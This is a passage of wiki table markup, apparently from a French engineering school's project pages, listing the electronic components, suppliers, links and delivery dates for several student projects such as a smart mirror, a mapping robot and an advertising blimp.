&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 capteur de lumière [09/03/16]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un boitier de 4 piles AA [09/03/16]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;4 résistances de 330 Ω [07/03/16]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;4 transistors [07/03/16]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;4 diodes [07/03/16]&amp;lt;/span&amp;gt;, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 haut parleur [07/03/16]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;2 leds rouges [07/03/16]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt; &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;2 leds jaunes [07/03/16]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 breadboard [29/02/16]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un arduino UNO [03/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;1 kit arduino [09/03/16]. &amp;lt;br/&amp;gt;&lt;br /&gt;
Récapitulatif: [[Fichier:CommandeElectronique-2015-P12.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P16 [[Miroir intelligent]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Raspberry Pi 2 [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Clé WiFi [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Câble USB-microUSB [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Carte SD [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Matrice de led tactile 40pouces.&amp;lt;/span&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Câble HDMI,&amp;lt;br /&amp;gt;&lt;br /&gt;
Ecran : Amazon [http://www.amazon.fr/BenQ-Ecran-PC-LED-27/dp/B00HZF2ME0/ref=sr_1_1?ie=UTF8&amp;amp;qid=1451984469&amp;amp;sr=8-1&amp;amp;keywords=BenQ+GL2760H#productDetails] ou RS [http://fr.rs-online.com/web/p/moniteurs/8962732/],&amp;lt;br/&amp;gt;&lt;br /&gt;
Film sans tain autocollant  : LeroyMerlin [http://www.leroymerlin.fr/v3/p/produits/film-adhesif-vitrage-miroir-sans-tain-reflechissant-l-100-x-l-90-cm-e1400889035#&amp;amp;xtmc=film_sans_tain&amp;amp;xtcr=2] &amp;lt;br/&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| P21 [[Robot autonome pour cartographie]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Raspberry Pi 2 - [03/02/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Carte SD - [03/02/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Arduino UNO - [03/02/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Clef WiFi pour mesure RSSI (x3) - [03/02/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Capteur ultrason, Gotronic : [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm] - [07/03/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Servomoteur, Gotronic : [http://www.gotronic.fr/art-servomoteur-s05nf-21481.htm] - [07/03/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Pilote de moteur (x5), Mouser : [http://eu.mouser.com/ProductDetail/Freescale-Semiconductor/MC34931EK/?qs=sGAEpiMZZMvQcoNRkxSQkiOBqyFfjGe5mG1PBZLkPLE%3d] - [07/03/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Résistance 270 Ohm (x10), Mouser : [http://www.mouser.fr/ProductDetail/TE-Connectivity-Holsworthy/3521270RFT/?qs=sGAEpiMZZMu61qfTUdNhG15ROd0nQ7Wlf0zCDKWeZ5snBOgjDqh8dA%3d%3d],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt; &lt;br /&gt;
Capacité 100 uF (x5), Magasin Polytech,&amp;lt;br /&amp;gt; &lt;br /&gt;
Capacité 100 nF (x5), Magasin Polytech,&amp;lt;br /&amp;gt; &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Capacité 33 nF (x5), Magasin Polytech, - [07/03/2016]&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt; &lt;br /&gt;
Capacité 1 uF (x5), Magasin Polytech,&amp;lt;br /&amp;gt; &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Câble USB 2m (x1 ou x2), Gotronic : [http://www.gotronic.fr/art-cordon-2m-cw091b-15249.htm] - [07/03/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt; &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Fourche optique (x2), Gotronic : [http://www.gotronic.fr/art-interrupteur-optique-gp1a57hrj00f-21001.htm] - [07/03/2016],&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt; &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Breadboard - [08/03/2016].&amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt; &lt;br /&gt;
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P21.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P23 [[Matelas connecté]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Neopixel [4 fournis le 03/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;RFduino [2 fournis le 03/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Capteur de température DS18B20 1-Wire [03/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Résistance 4K7 [03/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Module Peltier [1 fourni le 29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Diffuseur thermique [1 fourni le 29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Relais [1 fourni le 09/03/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Jauge de déformation [4 fournies le 23/03/2016]&amp;lt;/span&amp;gt;.&amp;lt;br/&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| P27 [[BIOLOID commandé par Arduino]]&lt;br /&gt;
| &lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Non inverting buffer 74HC126 [22/02/2016]&amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Ardoise magnétique, &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Kit bioloid,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Carte Arduino Uno [27/01/2016].&amp;lt;/span&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| P28 [[Imprimante 3D multi-fils]]&lt;br /&gt;
| &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;moteur NEMA 17 x6 [http://www.gotronic.fr/art-moteur-17hm15-0904s-23049.htm],&amp;lt;/span&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Driver NEMA 17 x6 [http://www.gotronic.fr/art-driver-de-moteur-pas-a-pas-a4988-1182-21718.htm]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
Engrenage x6  [http://www.banggood.com/fr/1_75MM-8MM-MK7-Extruder-Drive-Gear-Bore-For-3D-Printer-Accessories-p-1013103.html],&amp;lt;br/&amp;gt;&lt;br /&gt;
Roulement x6  [http://www.gotronic.fr/art-roulement-35-15-11mm-161.htm],&amp;lt;br/&amp;gt;&lt;br /&gt;
Courroie GT2 [http://www.reprap-france.com/produit/387-courroie-gt2-largeur-6mm-au-metre],  &amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Thermistance NTC100K [http://fr.rs-online.com/web/p/thermistances/0151243/?searchTerm=Thermistance+NTC100K&amp;amp;autocorrected=y&amp;amp;relevancy-data=636F3D3226696E3D4931384E4C446573635461786F6E6F6D794272616E645365617263685465726D32266C753D6672266D6D3D6D617463687061727469616C6D617826706D3D5E5B5C707B4C7D5C707B4E647D5C707B5A737D2D2C2F255C2E5D2B2426706F3D373426736E3D592673723D4175746F636F727265637465642673613D746865726D697374616E636520226E7463203130306B222673743D4B4559574F52445F4D554C54495F414C5048415F4E554D455249432673633D592677633D4E4F4E45267573743D546865726D697374616E6365204E54433130304B26 ] ,&amp;lt;/span&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Arduino mega[http://www.gotronic.fr/art-carte-arduino-mega-2560-12421.htm].&amp;lt;/span&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Récapitulatif électronique (prendre version avec commentaire &amp;quot; mise à jour des références&amp;quot;)[[Fichier:CommandeElectronique-2015-P28.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P29 [[Aide anti-gaspillage alimentaire]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;Un Smartphone sous Android&amp;lt;/span&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| P30 [[Micro-robots auto-organisés]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Un microcontrôleur Atmega 328P-au x2 (farnell) [http://fr.farnell.com/atmel/atmega328p-au/micro-8-bits-avr-32k-flash-32tqfp/dp/1715486?selectedCategoryId=&amp;amp;exaMfpn=true&amp;amp;categoryId=&amp;amp;searchRef=SearchLookAhead]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Moteur vibreur x4 (mouser) [http://www.mouser.fr/ProductDetail/Parallax/28821/?qs=sGAEpiMZZMsv3%2fxVbQiciD2XahQ7lqLvcbiE4XVIbwo%3d]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
Batterie lithium ion x2 (farnell) [http://fr.farnell.com/bak/18650ca-1s-3j/batterie-lithium-ion-3-7v-2250/dp/2401852?MER=BN-2401852], &amp;lt;br\&amp;gt;&lt;br /&gt;
Chargeur de batterie lithium ion x2 (farnell) [http://fr.farnell.com/microchip/mcp73834-fci-un/controleur-de-charge-li-ion-li/dp/1332162],&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Régulateur de tension x2 (farnell) [http://fr.farnell.com/microchip/mcp1826s-3002e-db/ic-ldo-3-0v-1a-sot-223-3/dp/1578422]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Mini usb connecteur x2 (farnell) [http://fr.farnell.com/hirose-hrs/zx62r-b-5p/connecteur-micro-usb-femelle-5/dp/2300439]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Photo transistor x16 (farnell) [http://fr.farnell.com/kingbright/l-53p3c/phototransistor-5mm-940nm/dp/2290444?selectedCategoryId=&amp;amp;exaMfpn=true&amp;amp;categoryId=&amp;amp;searchRef=SearchLookAhead]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;LED infrarouge x8 (farnell) [http://fr.farnell.com/kingbright/l-934f3c/emetteur-ir-t-1/dp/2290438]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;LED verte x2 [http://fr.farnell.com/vishay/vlmg31k1l2-gs08/led-plcc2-green/dp/1328317]&amp;lt;/span&amp;gt;, &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;LED rouge x4 [http://fr.farnell.com/vishay/vlmk31r1s1-gs08/led-plcc2-rouge/dp/2251468] (reçu led rgb)&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;LED bleu x2 [http://fr.farnell.com/vishay/vlmb41p1q2-gs18/led-plcc2-bleu/dp/1648564]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Interrupteur x2&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Transistor NPN CMS x4 (lot de 5) (farnell) [http://fr.farnell.com/fairchild-semiconductor/pzta42/transistor-npn-sot-223/dp/9846654]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;Diode x4 (farnell) [http://fr.farnell.com/diodes-inc/bav21w-7-f/diode-commutateur-200v-0-25w-sod123/dp/1858652]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;condensateurs 1uF x18 (farnell) [http://fr.farnell.com/avx-formerly-known-as-nichicon/f931c105maa/tantalum-capacitor-1uf-16v-7-5/dp/1818580]&amp;lt;/span&amp;gt;, &amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;résistances 470 Ohm x10 (farnell) [http://fr.farnell.com/vishay-draloric/rcl0612-470r-1-100-ppm-k-e3/res-couche-epaisse-470r-1-0-5w/dp/1877845]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
&amp;lt;span style =&amp;quot;color:green&amp;quot;&amp;gt;résistances 4,7 kOhm x16 (farnell) [http://fr.farnell.com/vishay-draloric/rcl0612-4k7-1-100-ppm-k-e3/res-couche-epaisse-4-7k-1-0-5w/dp/1877852RL]&amp;lt;/span&amp;gt;,&amp;lt;br\&amp;gt;&lt;br /&gt;
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P30.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P32 [[Veilleuse enfant connecté]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Raspberry Pi 2 [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Clé WiFi Wi-Pi [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Câble USB-microUSB [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Carte SD [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Câble HDMI [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Pico-projecteur ASUS S1 [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
Petit microphone (farnell) [http://fr.farnell.com/pro-signal/abm-715-rc/electret-microphone-omni-leads/dp/2066501],&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt;Un capteur de température [Disponible a l'école]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P32.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P34 [[Jeu de plateforme tangible]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Raspberry Pi 2 [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Webcam pour Raspberry Pi 2[27/01/2016]&amp;lt;/span&amp;gt;.&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| P37 [[Interface de communication entre robots]]&lt;br /&gt;
| &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Robotino (Robocup)&amp;lt;/span&amp;gt;.   &lt;br /&gt;
|-&lt;br /&gt;
| P38 [[Hydroponie]]&lt;br /&gt;
|&lt;br /&gt;
Un sac de billes d'argile ,&amp;lt;br /&amp;gt;&lt;br /&gt;
Un pot panier ,&amp;lt;br /&amp;gt;&lt;br /&gt;
Un bac réservoir d'eau ,&amp;lt;br /&amp;gt;&lt;br /&gt;
Un caisson ,&amp;lt;br /&amp;gt;&lt;br /&gt;
Deux m² de laine de roche ,&amp;lt;br /&amp;gt;&lt;br /&gt;
Deux capteurs ne niveau ,&amp;lt;br /&amp;gt;&lt;br /&gt;
Quatre LEDs RGB : [http://fr.rs-online.com/web/p/led/8294310P/],&amp;lt;br /&amp;gt;&lt;br /&gt;
Une pompe à eau : [http://www.aqua-store.fr/pompes-a-eau-aquarium-eau-de-mer/1990-eden-pompe-105-4010052571607.html],&amp;lt;br /&amp;gt;&lt;br /&gt;
Une batterie : [http://fr.farnell.com/yuasa/y7-12/battery-lead-acid-12v-7ah/dp/2083825],&amp;lt;br /&amp;gt;&lt;br /&gt;
Un MPPT : [http://fr.farnell.com/wellsee/mppt15a-12-24/chargeur-de-batterie-mppt-solar/dp/1852558],&amp;lt;br /&amp;gt;&lt;br /&gt;
Un système goutte à goutte : 2*[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1031-jonction-4mm-tee.html],[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1038-bouchon-90-micro-diametre-16.html],2*[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1030-jonction-4mm-auto-percante.html],[http://www.thecitygarden.fr/fr/raccords-goutteurs-sprayers/1033-couronne-tuyau-capillaire-20m-3x5mm.html],&amp;lt;br /&amp;gt;&lt;br /&gt;
Un panneau solaire (disponible à l'école),&amp;lt;br /&amp;gt;&lt;br /&gt;
Un plant de fraise,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Des transistors : 1*BC548, 1*BC547&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Des diodes : 1*1N4008, 1*1N4002&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Des résistances : 1*1K, 1*1.2K, 1*10K&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Une résistance de puissance WH25 8Ohms&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Deux ventilateurs de PC&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un dissipateur de chaleur&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un Arduino Uno [01/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un capteur d'humidité et de température DHT11 [22/02/2016]&amp;lt;/span&amp;gt;.&amp;lt;br /&amp;gt;&lt;br /&gt;
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P38.ods]].&lt;br /&gt;
|-&lt;br /&gt;
| P39 [[Dirigeable publicitaire]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Un arduino UNO [03/02/2016] &amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Ballon gonflable à l'hélium([http://www.ballon-helium.com//ballon-geant-chloroprene-180/ballon-chloroprene-unis-mat-1-20m-12661.html])&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
9 m3 d'hélium (lien du devis :[[https://projets-ima.polytech-lille.net:40079/mediawiki/index.php?title=Dirigeable_publicitaire#Devis_pour_l.27h.C3.A9lium]]),Air Liquide,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Accessoires de drone HS (hélices, moteurs) [27/01/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;10 x Capteurs à ultrasons, Gotronic [http://www.gotronic.fr/art-module-de-detection-us-hc-sr04-20912.htm] [29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Alim ARDUINO 5V 5000mAh, RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/] [29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;5 x Connecteur mâle 12 contacts - Pas 1mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/sm12b-srss-tb-lf-sn/connecteur-header-12pos-1-rangee/dp/2399360] [29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;10x Connecteur mâle 8 contacts - Pas 2mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/b8b-ph-k-s-lf-sn/embase-entree-sup-8-voies/dp/9492461] [29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;2x Femelle USB-B Farnell : [http://fr.farnell.com/wurth-elektronik/61400416121/embase-usb-2-0-type-b-cms/dp/1642035] [29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;5x Mâle USB-B à sertir RS : [http://fr.rs-online.com/web/p/connecteurs-usb-type-b/6742270/][02/03/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;10x Connecteur femelle 8 contacts - Pas 2mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/08p-sjn/boitier-femelle-a-sertir-2mm-8/dp/2320479] [29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;10x Connecteur femelle 12 contacts - Pas 1mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/shr-12v-s-b/boitier-femelle-sh-12voies-1mm/dp/1830830] [29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;10x Connecteur mâle 5 contacts - Pas 2mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/b5b-ph-k-s-lf-sn/embase-entree-sup-5-voies/dp/9492445] [29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;10x Connecteur femelle 5 contacts - Pas 2mm Farnell : [http://fr.farnell.com/jst-japan-solderless-terminals/5p-san/boitier-femelle-a-sertir-2mm-5/dp/2320464] [29/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br/&amp;gt;&lt;br /&gt;
50 x Pin 2mm SJN, Farnell [http://fr.farnell.com/jst-japan-solderless-terminals/sjn-002pt-0-9/contact-femelle-a-sertir-28-24awg/dp/2320482] ,&amp;lt;br /&amp;gt;&lt;br /&gt;
100 x Pin 2mm SAN, Farnell [http://fr.farnell.com/jst-japan-solderless-terminals/san-002t-0-8a/contact-femelle-a-sertir-30-24awg/dp/2320470] ,&amp;lt;br /&amp;gt;&lt;br /&gt;
50 x Pin 1mm SHR, Farnell [http://fr.farnell.com/jst-japan-solderless-terminals/ssh-003t-p0-2/terminaison-a-sertir-serie-sh/dp/1679142] ,&amp;lt;br /&amp;gt;&lt;br /&gt;
Recapitulatif electronique : [[Fichier:CommandeElectronique-2015-P39.ods]].&amp;lt;br/&amp;gt;&lt;br /&gt;
Nouvelle commande électronique : [[Fichier:NouvelleCommandeElectronique-2016-P39.ods]].&amp;lt;br/&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|-&lt;br /&gt;
| P41 [[Drone et occulus rift]]&lt;br /&gt;
|&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Une plaque à essai pour nos tests [01/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt; &lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;fils mâle/mâle x10 [01/02/2016]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;2 Mini Webcam USB GT06051, Gotronic [18/04/2016] [http://www.gotronic.fr/art-mini-webcam-usb-gt06051-23495.htm]&amp;lt;/span&amp;gt;,&amp;lt;br /&amp;gt;&lt;br /&gt;
